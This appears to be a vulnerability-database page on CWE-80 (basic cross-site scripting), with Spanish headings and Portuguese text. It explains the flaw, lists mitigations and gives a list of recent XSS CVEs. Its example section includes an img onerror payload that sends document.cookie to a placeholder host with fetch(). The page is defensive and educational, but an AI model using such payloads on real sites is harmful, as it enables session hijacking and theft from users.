Fallos del tipo CWE-80

646 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2025-13505MEDIUMStored XSS in Datateam's DatactiveEPSS 0.2%CVE-2025-31604MEDIUMWordPress Cal.com plugin <= 1.0.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-66450HIGHLibreChat JSON Injection in Chat POST Allows Remote Resource Inclusion and PXSS via Image UploadEPSS 0.2%CVE-2025-11874MEDIUMSlippy Slider – Responsive Touch Navigation Slider <= 2.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-14792MEDIUMKey Figures <= 1.1 - Authenticated (Admin+) Stored Cross-Site Scripting via kf_field_figure_default_color_renderEPSS 0.2%CVE-2026-25054HIGHn8n is Vulnerable to Stored Cross-Site Scripting via Markdown Rendering in Workflow UIEPSS 0.2%CVE-2025-33110MEDIUMIBM OpenPages Vulnerable to HTML InjectionEPSS 0.2%CVE-2025-11992MEDIUMMulti Item Responsive Slider <= 1.0 - Cross-Site Request Forgery to Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-29426MEDIUMCode-projects Online Class and Exam Scheduling System V1.0 is vulnerable to Cross Site Scripting (XSS) in /pages/class.php via the id and cyEPSS 0.2%CVE-2025-58054LOWDiscourse is vulnerable to XSS when quoting chat messagesEPSS 0.2%CVE-2025-29431LOWCode-projects Online Class and Exam Scheduling System V1.0 is vulnerable to Cross Site Scripting (XSS) in /pages/department.php via the id, EPSS 0.2%CVE-2026-39626MEDIUMWordPress Armania theme <= 1.4.8 - Arbitrary Shortcode Execution vulnerabilityEPSS 0.2%CVE-2026-108925MEDIUMCohesity - CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)EPSS 0.2%CVE-2025-15345MEDIUMMapGeo - Interactive Geo Maps <= 1.6.27 - Reflected Cross-Site Scripting via 'map' ParameterEPSS 0.2%CVE-2025-59540MEDIUMChamilo: Stored Cross-Site Scripting (XSS) in Chamilo LMS Exercise FeedbackEPSS 0.2%CVE-2025-54698MEDIUMWordPress Classified Listing Plugin plugin <= 5.0.0 - Content Injection VulnerabilityEPSS 0.2%CVE-2026-1834MEDIUMIbtana - WordPress Website Builder <= 1.2.5.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.2%CVE-2026-103443LOWAPI permits session-seeded javascript URL XSSEPSS 0.2%CVE-2026-123840MEDIUMIn JetBrains IntelliJ IDEA before 2026.3 hTML injection was possible in Remote Development editor tabsEPSS 0.2%CVE-2026-43939HIGHYAF.NET: Stored XSS in Forum Thread Posts/Replies Allowing Arbitrary JavaScript Execution for All Thread ViewersEPSS 0.2%